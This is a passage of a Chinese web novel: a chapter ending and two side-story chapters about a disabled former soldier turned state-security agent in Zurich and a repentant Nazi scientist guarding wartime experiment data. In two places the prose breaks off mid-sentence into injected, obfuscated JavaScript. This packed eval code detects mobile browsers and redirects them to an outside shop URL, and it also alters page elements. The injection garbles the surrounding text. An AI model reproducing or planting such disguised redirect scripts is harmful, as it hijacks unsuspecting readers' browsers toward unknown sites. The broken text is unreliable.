1996年3月10日:“**今天来了个新同事,叫叶真真,代号‘影子’。太年轻了,但眼睛很亮。她说她想用技术拯救世界。我笑她天真,但心里羡慕。因为我已经不记得什么时候还有这样的天真了。**” 1997年1月5日:“**跨年夜,实验室只剩我们俩。真真说她小时候的梦想是当钢琴家,但后来发现科学更能改变世界。我说我的梦想是当老师,但命运让我拿起了枪。她说:‘那我们就用枪保护该保护的人,用科学拯救该拯救的人。’**” 1998年8月16日:“**明天执行最终撤离。真真把数据分成了三份,说这是‘以防万一’。我知道她在想什么。我也想告诉她很多话,但最后只说了一句:‘小心。’她说:‘你也是。’**” 日记在这里中断。最后一页的背面,有一行很小的字: **“如果还有以后,想带真真去看阿尔卑斯山的雪。她总说想去,但一直没时间。**” 我合上日记,走到窗前。苏黎世湖在夕阳下波光粼粼,远处的阿尔卑斯山笼罩在金色的光晕中。 姐姐,青松,你们看到了吗? 山上的雪,真的很美。 *** 三个月后,我收到了江砚辞和苏晚晚的婚礼请柬。很简单的一张卡片,手写的字,附了一张照片——他们在茶园里,背后是已经建成的培训中心,笑容灿烂得像从未经历过黑暗。 请柬上写着:“**叶峥,等你回来喝喜茶。**” 我看着那张照片看了很久。照片里的两个人,眼睛里有一种我很久没见过的光——不是黑暗中求生的光,是光明里生活的光。 然后我开始收拾行李。 是该回去了。 回国的飞机上,我坐在靠窗的位置,看着云海翻涌。突然想起很多年前,青松训练我时说的一句话: “影子,你知道吗?光下的影子不是光的对立面,是光的延续。因为有光,才有影子;因为有影子,才知道光有多亮。” 那时我不懂。现在我懂了。 姐姐是光,我是她的影子。她照亮了我前十七年的人生,我延续了她后十七年的战斗。 而现在,江砚辞和苏晚晚成了新的光。他们会照亮很多人的人生。 而我,依然是影子。在光下守护,在暗处前行。 这就是我的选择,我的路。 *** 飞机落地杭州时,是个雨天。我没有通知任何人,打了辆车直接去安吉。 到培训中心时,天已经黑了,但中心里还亮着灯。教室里还有人在上课,舞蹈房里还有音乐,茶室里还有人在讨论着什么。 我在门口的阴影里站了很久,看着那些灯光,看着窗户里晃动的人影,听着隐约传出的笑声和交谈声。 那是生活的声音。平凡,琐碎,珍贵。 最后,我没有进去。我把青松的钥匙和一张纸条放在纪念展厅里,然后转身离开。 不是不想见他们,是还没准备好。见了面要说什么?说我这些年杀了多少人?说我这些年睡过多少冰冷的角落?说我这些年有多少次在濒死边缘徘徊? 不,这些都不该在婚礼前说。 等明年春天吧。等白茶开花的时候,等他们的新生活完全安定的时候,我再回来。那时候,也许我能平静地坐在茶室里,喝一杯他们亲手泡的白茶,告诉他们: 你们父母那代人的故事,有人记得。 你们这代人的幸福,有人守护。 而我们的战斗,没有白费。 离开安吉后,我去了千岛湖。雾隐岛已经沉没,湖面恢复了平静,像什么都没发生过。 我在湖边坐了一夜,对着那片深不见底的湖水,把这一年、这十七年没说的话都说完了。 说给姐姐听。告诉她,她的牺牲没有白费,“渡鸦”覆灭了,江砚辞和苏晚晚活下来了,而且活得很好。 说给青松听。告诉他,他的钥匙我还回去了,他的遗愿完成了,他的师兄可以安息了。 也说给那个十八岁在姐姐墓前发誓的少年听。告诉他,你做到了。你很累,很痛,但你没有辜负姐姐的期望。 黎明时分,我站起来,对着湖面鞠了三个躬。 一躬给姐姐,一躬给青松,一躬给所有在这场漫长战争中牺牲的人。 然后转身。 前方,太阳正在升起,金色的阳光刺破云层,洒在湖面上,波光粼粼。 新的一天,开始了。 而我的路,还没走完。 但这一次,我知道路的尽头有什么—— 有茶园,有白茶,有等我回去喝喜茶的人。 有光,有影,有延续。 这就够了。 38. 第三十八章 番外·青松 1986年,沈青山二十五岁,已经是个死人——在国安部的档案里。 他真正的死亡发生在1979年,对越自卫反击战的老山前线。他是侦察连的排长,在一次夜间渗透任务中被地雷炸断双腿,失血过多昏迷。战友把他背回来时,他的呼吸已经停止,军医宣布死亡。 但十二小时后,在战地医院的停尸房里,他睁开了眼睛。 后来医生分析,那是极罕见的假死现象——身体进入深度休克,生命体征微弱到仪器检测不到,但在低温环境下,代谢几乎停止,反而保住了命。 他活下来了,但双腿膝盖以下截肢。半年后,装上假肢,退伍。 组织上问他想要什么安排,他说想读书。于是他被保送进入国防科技大学,读电子工程。1984年本科毕业时,国安部来选人,看中了他的背景——战斗英雄、政治可靠、意志坚定,而且……已经“死”过一次的人,最适合去做那些不能见光的事。 他接受了,代号“青松”。 陈国栋局长——当时的陈处长——给他解释这个代号:“大雪压青松,青松挺且直。你要做的事,就是在大雪压顶时,依然挺直。” 第一年训练,他的假肢在格斗训练中多次脱落,骨头断端磨得血肉模糊。教官看不下去,说可以适当降低标准。他说不用,继续练。三个月后,他已经能用假肢踢碎木板。 1985年,他被派往苏黎世,任务接近一个代号“凤凰”的科研小组——小组由四个中国留学生组成,正在研究如何将纳粹的“乌鸦计划”数据转化为医疗技术。组织的担忧是:这种技术一旦泄露或滥用,后果不堪设想。 “你的任务是评估风险。”陈处长在地图上标出苏黎世的位置,“如果他们是真心做研究,就保护他们;如果有问题,就处理掉。” 沈青山明白“处理掉”的意思。他点点头,什么也没问。 到苏黎世的第二天,他就见到了任务目标。 江振华,机械工程博士生,三十岁,个子不高但很结实,手上全是老茧,说话语速很快,谈到技术时眼睛会发光。 林薇,舞蹈治疗专业硕士,二十五岁,安静温柔,但偶尔说出的见解锋利如刀。 叶真真,神经科学博士,二十三岁,戴着一副大眼镜,瘦得像竹竿,但思维敏捷得可怕。 还有卡尔·施密特,德国教授,六十岁,曾是“乌鸦计划”的研究员,战后一直在赎罪。 沈青山的伪装身份是来自清华的访问学者,研究方向是“神经信号处理与伦理边界”——这是组织为他量身定做的,既符合他的电子工程背景,又能自然接近他们的研究。 第一次小组会议,叶真真就对他的专业背景提出质疑。 “沈博士,你论文里提到的脑电波滤波算法,和军方用的雷达信号处理算法很像。”她推了推眼镜,“能解释一下吗?” 沈青山心里一惊,但面不改色:“信号处理的数学原理是相通的。而且,我导师确实有军方的项目背景。” 叶真真盯着他看了几秒,最后笑了:“有意思。欢迎加入。” 就这样,他成了“凤凰计划”的第五个成员。 起初,他确实抱着监视的目的。但工作三个月后,他发现自己开始动摇了。 他看到了江振华如何一点一点从那些沾血的实验数据里,剥离出能用于脊髓损伤修复的技术路径。 看到了林薇如何用舞蹈动作模拟神经信号的传递,创造出一种直观的教学方法。 看到了叶真真如何用天才的算法,在伦理的边界上舞蹈——既要让技术有效,又要确保它不能被用于控制或伤害。 看到了施密特教授每天工作结束后,都会在实验室的小教堂里祷告,为那些死去的实验体。 这些人……是真的想做好事。 1986年春天,发生了第一件事。 “渡鸦”的人找到了施密特教授。他们在教授家门口放了封信,里面是教授家人在德国的地址,还有一句话:“把数据交出来,否则。” 教授慌了,想退出项目。江振华和叶真真坚决反对——项目进行到关键阶段,不能停。 那天晚上,沈青山单独找到“渡鸦”的联络人。那是个三十多岁的德国男人,穿着考究的西装,在苏黎世最贵的餐厅请他吃饭。 “沈博士,我们很欣赏你的才能。”对方说,“如果你愿意加入我们,报酬是你现在的一百倍。” 沈青山说:“如果我说不呢?” 对方微笑:“那你可能回不了中国了。” 沈青山也笑了。他拿起餐刀,在对方反应过来之前,刀尖已经抵住了对方的颈动脉。 “听着,”他声音很轻,“我叫沈青山,曾经是中国陆军侦察连的排长。我死过一次,所以不怕再死一次。如果施密特教授或者项目组的任何一个人出事,我会找到你,找到你的家人,找到所有和你有关系的人。我保证,你会后悔出生在这个世界上。” 他的眼神让对方打了个寒颤。 那之后,“渡鸦”的人再没出现。 但他知道,这只是暂时的。 这件事后,叶真真看他的眼神变了。她开始主动找他讨论问题,经常工作到很晚,实验室里只剩他们两个人。 有一次,凌晨两点,他们终于解决了一个算法难题。叶真真兴奋地跳起来,不小心碰翻了咖啡,泼了他一身。 “对不起对不起!”她手忙脚乱地帮他擦,脸涨得通红。 沈青山看着她慌乱的样子,突然笑了——这是他来苏黎世后第一次真心笑。 叶真真愣住了:“你……会笑啊?” “我也是人,当然会笑。” 那天晚上,他们一起走回宿舍。苏黎世的夜晚很安静,石板路上只有两人的脚步声。 “沈青山,”叶真真突然说,“你为什么要做这个项目?” 沈青山沉默了一会儿,说:“为了赎罪。” “赎什么罪?” “我在战场上杀过人。”他说,“虽然那是战争,是任务,但我经常梦见那些人的脸。我在想,如果我这双手能救人,是不是就能……少做点噩梦。” 叶真真停下脚步,认真地看着他:“你知道吗?我弟弟也想去当兵,我坚决反对。但现在我明白了——有些人拿起枪,是为了让更多人不用拿枪。” 月光下,她的眼睛亮得像星星。 沈青山感觉心里有什么东西,松动了。 1987年,项目进入最关键阶段——他们要从理论转入实验。但实验需要伦理委员会批准,而涉及纳粹时期的数据,委员会的态度极其谨慎。 连续三次申请都被驳回。 叶真真急得嘴上起泡,江振华整夜整夜抽烟,林薇跳舞时心不在焉崴了脚。 沈青山说:“让我试试。” 他动用了国安部的资源——不是公开施压,是找到了委员会主席年轻时的一桩丑闻:主席在六十年代参与过一项不人道的心理学实验。沈青山把证据放在主席桌上,只说了一句话:“批准我们的项目,这件事永远消失。” 项目获批了。 叶真真问他怎么做到的,他说:“我有我的方法。” 她看着他,眼神复杂:“你做了不该做的事。” “有时候,为了做好事,不得不做点坏事。”他说,“这就是现实。” 那之后,叶真真疏远了他一段时间。但沈青山不后悔。他接到的任务是保护这个项目,而保护有时候意味着不择手段。 1988年到1997年,是相对平静的九年。 项目进展顺利,他们成功帮助十二位因事故瘫痪的患者恢复了部分运动功能。论文发表在国际顶级期刊上,引起了轰动。“渡鸦”似乎放弃了,再没来找麻烦。 沈青山和叶真真的关系,也在这些年里发生了微妙的变化。 他们依然经常争吵——为技术的方向,为伦理的边界,为某个算法的实现方式。但争吵过后,总会有一方先妥协,然后一起解决问题。 1997年夏天,他们去爬阿尔卑斯山。那是叶真真一直想做的事,她说要站在雪山顶上,看看世界是什么样子。 爬山很辛苦,尤其是对沈青山来说——假肢在低温下会僵硬,山路又陡又滑。但他坚持下来了。 登顶时,阳光正好,云海在脚下翻涌,远处的雪山连绵不绝。 叶真真站在悬崖边,张开双臂,风吹起她的头发和围巾。 “沈青山!”她回头喊,“你看!多美!” 沈青山看着她,看着阳光在她身上镀上一层金边,看着她的笑容比雪山还耀眼。 那一刻,他明白了自己的心。 但他什么也没说。他是“青松”,是来执行任务的,不该有私人感情。 下山时,叶真真滑了一跤,他及时抓住她。两人摔在一起,在雪地上滚了几圈才停住。 叶真真压在他身上,两人的脸离得很近。 “你……”她开口,呼吸喷在他脸上。 沈青山突然翻身,把她压在下面,吻了她。 那个吻很短暂,但很用力。吻完后,两人都愣住了。 叶真真先反应过来,推开他,爬起来就往山下跑。 沈青山坐在雪地里,看着她的背影,知道一切都回不去了。 回到苏黎世后,两人默契地没有再提那个吻。工作照常,讨论照常,但有什么东西不一样了。 沈青山开始写日记——这是违反规定的,但他控制不住。他需要记录下这些瞬间,这些他作为“沈青山”而不是“青松”活着的瞬间。 1998年,情况急转直下。 “渡鸦”卷土重来,而且这次更加疯狂。他们知道了“凤凰计划”的存在,知道了这些中国留学生正在用他们的数据做研究。 更要命的是,他们查到了沈青山的真实身份。 8月,陈处长发来加密电报:“**身份暴露,立即撤离。必要时销毁所有资料。**” 沈青山把电报给叶真真看了。 “你要走?”她问。 “我们一起走。”他说,“带着数据,回国。” 叶真真摇头:“不行。实验还没做完,还有三个患者在等待治疗。而且……我们不能把施密特教授一个人留在这里,‘渡鸦’会杀了他。” “那你要我怎么办?”沈青山第一次对她吼,“我的任务是保护你和项目!现在你们都有危险!” “那就保护我们!”叶真真也吼回来,“用你的方法!像当年保护施密特教授那样!” 沈青山愣住了。他看着叶真真眼里的坚决,知道她已经做好了最坏的打算。 “真真……”他声音软下来。 “沈青山,你听我说。”叶真真握住他的手——这是她第一次主动握他的手,“我们把数据分成三份。一份给振华,他是技术的核心;一份给薇薇,她用舞蹈保存;最后一份……给你。” “为什么给我?” “因为你是‘青松’。”她微笑,“大雪压不垮的青松。如果我们中有人不在了,你要继续。答应我。” 沈青山看着她,看着这个他爱了十年却从没说出口的女人,点了点头。 “我答应。” 8月16日,他们完成了数据分割和隐藏。那天晚上,实验室里只剩下他们两个人。 叶真真从抽屉里拿出一个小盒子,递给沈青山:“给你的。” 沈青山打开,里面是一枚铜钥匙,还有一张字条:“**如果有一天需要终极答案,带小辞来这里。**” “小辞是谁?” “振华的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想起老山前线的那个雨夜,他也是这样躺在血泊里,以为要死了。 想起苏黎世第一次见到叶真真,她质疑他时的认真表情。 想起阿尔卑斯山的那个吻。 想起昨晚她说“我也爱你”。 如果能重来一次,他会不会选择不一样的路? 不会。 因为这就是他的路。从在停尸房睁开眼睛那一刻起,就注定要走的路。 黑暗吞没了他。 再次醒来时,他躺在一个小木屋里,身上缠着厚厚的绷带。一个老渔夫坐在床边,见他醒了,用德语说:“你命真大。” 他在老渔夫家养了半年伤。三处枪伤,肺部感染,高烧不退,好几次差点又死过去。 但每次要放弃时,他就想起叶真真,想起她说的“你要继续”。 他不能死。 伤好后,他偷偷回国,但不敢联系组织——他“死”了,如果突然出现,可能会打乱很多计划。而且,“渡鸦”可能还在找他。 他用假身份在杭州隐居,偶尔通过一些秘密渠道获取信息。他知道叶真真牺牲了,知道江振华车祸身亡,知道林薇病逝,知道施密特教授隐居。 但他还活着,还要继续。 2005年,他去了千岛湖,找到了雾隐岛。用叶真真给的钥匙,打开了那个地下实验室。在那里,他发现了更多的秘密——关于“归墟”,关于永生技术,关于“渡鸦”真正的目的。 他也发现,自己的记忆出了问题。头部受伤导致他遗忘了部分关于国安部的记忆,只记得自己是沈青山,记得“凤凰计划”,但不记得具体任务细节。 这也许是好事。忘了自己是“青松”,才能更好地扮演沈青山。 之后十八年,他一边慢慢恢复记忆,一边暗中收集“渡鸦”的情报。他看到了“渡鸦”如何死灰复燃,看到了陆文渊如何成为他们在亚洲的代理人,看到了江砚辞如何被陷害,看到了叶峥——真真的弟弟——如何成为新一代“影子”。 他想过联系叶峥,但不敢。叶峥潜伏得很深,贸然联系可能会害了他。 他只能等待,等待一个合适的时机。 2023年,时机来了。 江砚辞和苏晚晚开始追查真相,叶峥在暗中相助。沈青山知道,这是最后的机会——了结一切的机会。 他送出了钥匙和照片,引导他们找到雾隐岛。他知道这很危险,可能会暴露自己,但他必须这么做。 因为这是叶真真留给他的最后一个任务:“如果有一天需要终极答案,带小辞来这里。” 他完成了。 在雾隐岛的地下实验室,当“渡鸦”的人找到他时,他没有反抗。他知道自己逃不掉,也知道这是计划的一部分——用自己作为诱饵,给江砚辞他们争取时间。 被抓住,被提取大脑,他都很平静。因为他在大脑里植入了干扰器,这是他为这一天准备了很多年的最后武器。 意识消散前,他最后一次想起了叶真真。 想起月光下她的眼睛,想起雪山上她的笑容,想起雨夜里她的眼泪。 如果有来生,他想,不做“青松”了,就做沈青山。和她在一个有茶园的地方,种白茶,看日出,过平凡的日子。 但这个愿望,只能留给来生了。 黑暗彻底吞没了他。 但他知道,光还在。 在江砚辞和苏晚晚手里,在叶峥的坚持里,在所有记得他们故事的人的心里。 那就够了。 青松可以倒下了,因为新的树苗已经长成竹林。 …… 39. 第三十九章 番外·赎罪者的守望:卡尔·施密特博士与渡鸦八十年秘史 1944年秋天,阿尔卑斯山脚下的达豪集中营。 二十一岁的卡尔·施密特站在实验室窗前,看着外面灰蒙蒙的天空。他的白大褂下面,党卫军的黑色制服领子露出一截,像一道无法擦去的污迹。窗外,囚犯们正在劳动,瘦骨嶙峋的身体在寒风中瑟瑟发抖。更远处,是冒着黑烟的烟囱。 “施密特博士。”身后传来穆勒教授的声音,“实验体043的数据出来了,神经反应速度提升了百分之三百,但寿命缩短到七十二小时。我们需要改进血清配方。” 卡尔没有回头。他盯着自己映在玻璃上的倒影——金发蓝眼,典型的雅利安人特征,胸前别着帝国研究协会的徽章。三年前,他还是慕尼黑大学医学院的天才学生,怀揣着用科学拯救人类的梦想。现在,他是“乌鸦计划”(Projekt Raben)最年轻的成员,参与着纳粹最黑暗的人体实验。 “教授,”他听见自己的声音干涩,“043号实验体昨天还活着。我给他检查时,他求我杀了他。他说太痛苦了。” 穆勒教授走到他身边,拍了拍他的肩膀:“科学需要牺牲,卡尔。等我们成功了,这些牺牲都会被铭记。想想看——不会疲惫的士兵,不会恐惧的战士,德意志将战无不胜。” 卡尔闭上眼睛。他想起了实验体043的眼睛——那是一个法国抵抗运动成员,被捕前是巴黎大学的数学教授。注射血清前,那人用流利的德语对他说:“年轻人,你知道你们在创造什么吗?不是超级士兵,是怪物。科学不应该服务于死亡。” 但他能说什么呢?他的父母都在柏林,他的妹妹才十五岁。拒绝参与?那等于自杀,还可能连累家人。 “我去调整配方。”卡尔最终说。 那天下班后,他没有直接回宿舍,而是绕道去了营地的医疗区。那里躺着几十个实验失败的“废品”——有些人四肢扭曲变形,有些人精神崩溃喃喃自语,还有些人已经死了,但尸体还没被处理。 他在一个年轻的苏联战俘床前停下。那个战俘大概十八九岁,左臂被改造成了粗糙的机械结构,金属部件直接嵌入皮肉,接口处已经感染溃烂。战俘还活着,但眼神空洞,像一具还有呼吸的尸体。 卡尔蹲下身,检查伤口。感染已经很严重了,必须截肢,否则会引发败血症。但他知道,穆勒教授不会允许——这个实验体还有“观察价值”。 “水……”战俘用俄语喃喃道。 卡尔看了看四周,确定没人,从口袋里掏出自己的水壶,小心翼翼地喂了他几口。战俘的眼睛恢复了一点焦距,看着他,用生硬的德语说:“谢谢……医生。” “我不是医生。”卡尔低声说,“我是帮凶。” 那天夜里,卡尔在实验室里偷偷复制了“乌鸦计划”的所有核心数据。他把微缩胶片藏在钢笔里,把纸质记录拍成照片塞进书本夹层。他不知道这些证据将来有什么用,但他知道必须留下——为了那些死在这里的人,也为了将来可能需要的审判。 1945年4月,盟军逼近慕尼黑。“乌鸦计划”紧急撤离,所有实验设备、数据、以及还能移动的实验体被装上火车,准备运往阿尔卑斯山深处的地下堡垒。卡尔被命令随行。 火车在夜色中行驶。卡尔所在的车厢里堆满了木箱,箱子上印着“**Geheim**”(机密)的字样。同车的还有穆勒教授和几个党卫军军官。 “计划有变。”穆勒教授在昏暗的灯光下说,“元首已经……不在了。我们要为自己打算。这些数据和技术,战后会成为抢手货。美国人,苏联人,都会想要。” 一个军官问:“那我们怎么办?” “把东西藏起来。”穆勒教授压低声音,“在阿尔卑斯山有个秘密观测站,战前就建好了,只有极少数人知道。我们把核心资料和样本藏在那里,等风声过了,再回来取。” 卡尔假装睡着,心脏狂跳。他终于知道这些火车要开往哪里了。 天亮前,火车在一个小站停下。他们换乘卡车,沿着盘山公路向深山进发。卡尔记得那段路——陡峭,狭窄,一边是悬崖。雾气很浓,能见度不到十米。 机会来了。 当卡车经过一个急转弯时,卡尔突然大叫:“刹车失灵了!” 司机猛踩刹车,但卡车还是向悬崖滑去。千钧一发之际,卡尔“不小心”撞开了车门,抱着一个最重要的资料箱跳了下去。他计算过角度,下面是个缓坡,有厚厚的积雪。 他听到穆勒教授的尖叫,听到卡车坠崖的巨响,然后世界陷入黑暗。 醒来时,他躺在一个山民的小木屋里。救他的是个老猎人,说发现他昏迷在雪地里,怀里紧紧抱着一个铁箱子。 “战争快结束了。”老猎人说,“你是德国兵?” 卡尔摇头:“我是医生。”这不算完全说谎。 他在小木屋里躲了两个月,看着山下的世界天翻地覆。1945年5月,德国投降。6月,他在小镇的报纸上看到纽伦堡审判的消息,看到那些熟悉的纳粹高官被押上法庭。 他也看到了关于“乌鸦计划”的报道——盟军发现了部分文件,但核心资料和主要负责人不知所踪。报道里提到了他的名字:卡尔·施密特博士,“乌鸦计划”最年轻的成员,可能已经死亡。 他确实“死亡”了。那个抱着资料箱跳车的年轻科学家,死在了1945年春天的阿尔卑斯山。活下来的,是一个背负着沉重秘密的赎罪者。 老猎人收留了他,教他打猎、采药、在深山里生存。卡尔改了名字,自称“汉斯·米勒”,一个在战争中失去一切的普通人。但他没有真正隐居——他去了那个秘密观测站。 观测站建在山腰的隐蔽处,从外面看就像个废弃的气象站。卡尔用记忆中的密码打开门,里面果然藏着“乌鸦计划”的核心:几十箱实验数据,几百份组织样本,还有……十二个还在低温保存中的实验体大脑。 看着那些浸泡在福尔马林中的大脑,卡尔跪在地上呕吐。这些都是活生生的人,有名字,有家庭,有梦想。现在,他们只剩下一团组织,被编号,被研究,被遗忘。 他决定留下来。不是继续研究,是看守——防止这些可怕的东西再次重见天日。 第一年最难熬。孤独,寒冷,还有无尽的噩梦。他常常梦见那些实验体的眼睛,梦见自己穿着党卫军制服站在实验室里,梦见穆勒教授说“科学需要牺牲”。 有一次他差点自杀。站在悬崖边,看着下面的深渊,想着一跃而下就能解脱。但最后没跳——因为他想起那个苏联战俘说的“谢谢医生”。也许他的活着,就是对那些死者最后的尊重。 1948年,山里来了不速之客。 那时卡尔已经习惯了山民的生活,胡子拉碴,穿着破旧的猎装,看起来和当地猎人没什么区别。他在设置陷阱时,听到林子里有陌生的脚步声——不是猎人轻巧的步子,是皮鞋踩在落叶上的声音。 他躲到树后,看到三个人走进视野。两个穿着美军制服,一个穿着便装,但气质明显不是普通人。他们拿着地图和指南针,用英语交谈: “根据情报,应该在这附近。” “那个德国科学家真的把东西藏在这里?” “穆勒在审讯中交代了,但他也不知道具体位置。” 卡尔的心沉了下去。穆勒教授还活着,而且交代了观测站的存在。美国人找来了。 他悄悄退回观测站,用最快速度把最核心的资料转移到后山的山洞里,用炸药封住入口。然后回到观测站,等着。 美国人三天后找到了这里。他们撬开门,看到了空荡荡的实验室和那些明显被搬空的箱子。 “有人先来过了。”一个美军军官说。 穿便装的男人——后来卡尔知道他是战略情报局(OSS,CIA的前身)的特工——仔细检查了现场,在角落里发现了卡尔故意留下的一本实验日志。日志是德文的,但最后一页用英文写了一行字: **“这一切应该被埋葬。为了所有死去的人。**” 特工看着那行字,沉默了很久,然后对同伴说:“烧了这里。报告上写:观测站已被废弃,未发现有价值资料。” 他们真的放火烧了观测站。卡尔躲在远处的树林里,看着火光冲天,心里松了一口气。 但他知道,事情没完。美国人不会轻易放弃,穆勒教授可能还在某处活着,“乌鸦计划”的阴影不会因为一场大火就消失。 果然,1950年,卡尔在苏黎世的一家报纸上看到一则消息——几个前纳粹科学家在阿根廷成立了一个“生物医学研究会”,发起人之一就是汉斯·穆勒。 “乌鸦”没有死,它只是换了个名字,飞到了南半球。 卡尔感到了前所未有的危机感。他一个人守不住这些秘密,他需要帮助。但谁能信任?美国政府可能想利用这些技术,苏联更糟。他需要一个真正想埋葬这段历史,而不是利用它的力量。 他想到了那些受害者的国家。也许,也许有人愿意为了正义,而不是利益,来处理这件事。 1951年春天,卡尔做了个冒险的决定。他带着部分最关键的证据——包括那些实验体名单和照片——秘密前往巴黎,求见法国抵抗运动的一位前领导人。 会面在一家小咖啡馆的地下室。那位前领导人已经六十多岁,战争中失去了一条胳膊。他看着卡尔带来的照片,脸色越来越苍白。 “这些都是真的?”他声音颤抖。 “真的。”卡尔低下头,“我就是参与者之一。我来,不是为了请求宽恕,是为了把这些证据交给应该保管它们的人。求您,别让这些东西再害人了。” 老人看了他很久,最后说:“德国人,你知道如果我公开这些,你会被送上法庭吗?” “我知道。”卡尔平静地说,“我应该上法庭。但比起惩罚我,更重要的是确保这些东西永远消失。” 老人被他的诚恳打动了。但他没有答应公开,而是说:“现在公开不是时候。冷战开始了,美苏都在搜罗德国科学家和技术。这些东西一旦曝光,很可能被某大国秘密接收,继续研究。我们需要等,等到世界准备好接受真相的那天。” 他把证据收下了,但给了卡尔一个承诺:“我会保管好。等我死后,会交给值得信任的人。你……回去继续守着吧。也许有一天,会有人需要你的证词。” 卡尔回到了阿尔卑斯山。这次他有了新的目标——不仅要看守物理证据,还要活着,活到能作证的那天。 时间一年年过去。1950年代,卡尔听说穆勒在阿根廷的研究会改名为“普罗米修斯计划”,继续着人体增强研究。1960年代,有传言说美国和苏联都在秘密进行类似的实验。1970年代,一个叫“渡鸦”(Raben)的组织开始在国际黑市上出现,专门倒卖生化武器和人体实验数据。 “乌鸦”复活了,而且变成了更隐蔽、更国际化的“渡鸦”。 卡尔意识到,光守着山里的证据不够了。他需要主动出击,需要了解“渡鸦”的动向,需要阻止他们。 1978年,他做出了另一个重大决定:联系中国。 选择中国的原因很复杂。一方面,中国在二战中是受害国,有足够的道德立场;另一方面,中国当时相对封闭,技术外流风险小;最重要的是,卡尔通过秘密渠道了解到,中国的一些科学家正在研究神经修复技术——不是用于增强,是用于医疗。 他在香港通过中间人,联系到了中国科学院。起初对方很警惕,一个前纳粹科学家主动接触,听起来就像陷阱。 但卡尔拿出了最有力的证据:一份名单,上面是247个在“乌鸦计划”中死去的实验体的姓名、国籍、年龄、职业。每一个名字都是他用颤抖的手,凭记忆写下来的。 “我不求信任,只求你们收下这些名字。”他对中国方面的代表说,“让他们至少被记住。” 中国方面最终派人来了阿尔卑斯山。来的是个年轻的研究员,叫江振华,才二十五岁,但眼神清澈坚定。他看了观测站的废墟,看了那些被卡尔保存下来的资料,看了实验体名单。 “你想让我们做什么?”江振华问。 “利用这些数据做好事。”卡尔说,“‘乌鸦计划’虽然邪恶,但里面的神经信号研究有医疗价值。如果能剔除暴力控制的部分,只保留修复功能,也许能帮助瘫痪者重新行走。” 江振华沉默了很久,最后说:“我需要回去请示。但个人来说……我同意。技术没有善恶,使用技术的人有。” 那是卡尔黑暗人生中的第一束光。有人听懂了他的意思,有人愿意尝试把恶魔的技术变成天使的工具。 1980年,江振华回来了,带着中国科学院的正式授权和一个小团队。他们开始合作,项目代号“凤凰计划”——寓意从灰烬中重生。 那五年是卡尔一生中最充实的时光。他和江振华,还有后来加入的叶真真、林薇,一起从肮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004306|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏的数据中提炼干净的技术。他们成功了——开发出了一套安全的神经修复算法,并在动物实验中取得了突破。 但阴影再次逼近。 1985年,“渡鸦”发现了“凤凰计划”的存在。卡尔第一次见到了“渡鸦”新一代的代表——一个自称“渡鸦七号”的年轻男人,德国口音,但眼神里的冷漠和当年的穆勒如出一辙。 “施密特博士,我们终于找到你了。”渡鸦七号微笑着说,“老师穆勒教授一直惦记着你。他说你是他最好的学生。” 卡尔冷冷地说:“我不是他的学生。我是他的罪证。” “随你怎么说。”渡鸦七号耸肩,“我们想要‘凤凰计划’的数据。开个价吧。” “不卖。” “那我们就自己拿。” 冲突开始了。“渡鸦”开始骚扰、威胁、甚至试图绑架团队成员。卡尔不得不让江振华他们暂时解散,把数据分头藏好。 1987年,最黑暗的时刻到来。穆勒教授亲自出现了——那个卡尔以为早就死了的人,居然还活着,已经七十多岁,但精神矍铄。 他们在苏黎世的一家酒店房间里见面。穆勒看着卡尔,笑了:“卡尔,我的孩子,你老了。” “你也老了。”卡尔说,“但邪恶不会老。” “邪恶?”穆勒摇头,“我们是在推动人类进化。看看现在的世界——艾滋病、癌症、各种绝症。如果我们的人体增强技术成熟,这些都不再是问题。我们可以创造新人类。” “用无辜者的生命做代价?” “那些都是必要的牺牲。”穆勒的眼神狂热起来,“卡尔,回来吧。‘渡鸦’现在是个国际组织了,我们有资金,有资源,有世界各地的支持者。我们可以完成‘乌鸦计划’的梦想。” 卡尔盯着这个曾经是他导师、现在是他梦魇的老人,一字一句地说:“穆勒教授,1945年我从那辆卡车上跳下去时,就已经死了。活下来的卡尔·施密特只有一个使命——阻止你,阻止‘渡鸦’,阻止所有想复活那个噩梦的人。” 谈话破裂了。穆勒离开时留下最后一句话:“你会后悔的,卡尔。下一次见面,就不会这么友好了。” 下一次见面来得很快。1988年,“渡鸦”试图绑架叶真真,被卡尔和江振华阻止。1989年,他们在“凤凰计划”的实验室纵火,烧毁了大部分设备。1990年,他们买通了瑞士的官员,试图以“非法研究”的罪名逮捕卡尔。 卡尔不得不再次隐居,这次更深,更隐蔽。他在阿尔卑斯山另一个山谷里建了个小木屋,几乎与世隔绝。只有江振华和叶真真知道他的位置。 1998年,悲剧发生了。叶真真在苏黎世的实验室被“渡鸦”袭击,为了不落入敌手,她启动自毁程序,和实验室同归于尽。 卡尔听到消息时,正在山里采药。他瘫坐在地上,看着远方的雪山,眼泪无声地流下。又一个好孩子,又一个因为这场无尽战争牺牲的人。 他想起叶真真最后一次来看他时说的话:“施密特博士,别太自责。这条路是我们自己选的。我们相信,黑暗最深时,光就要来了。” 光来了吗? 2000年,江振华在中国车祸身亡。卡尔知道那不是意外,是“渡鸦”的手笔。他失去了最后一个战友。 之后二十年,卡尔彻底隐居。他得了肺癌,和当年实验室的化学暴露有关。他知道自己时日无多,但他还不能死——他要把最后的证据,交给值得托付的人。 2023年春天,卡尔在木屋里接待了最后一个访客——江振华的儿子,江砚辞。 看着那个年轻人,卡尔仿佛看到了当年的江振华——同样的眼神,同样的坚定。他把最后的金属盒子交给江砚辞,说出了憋在心里几十年的话: 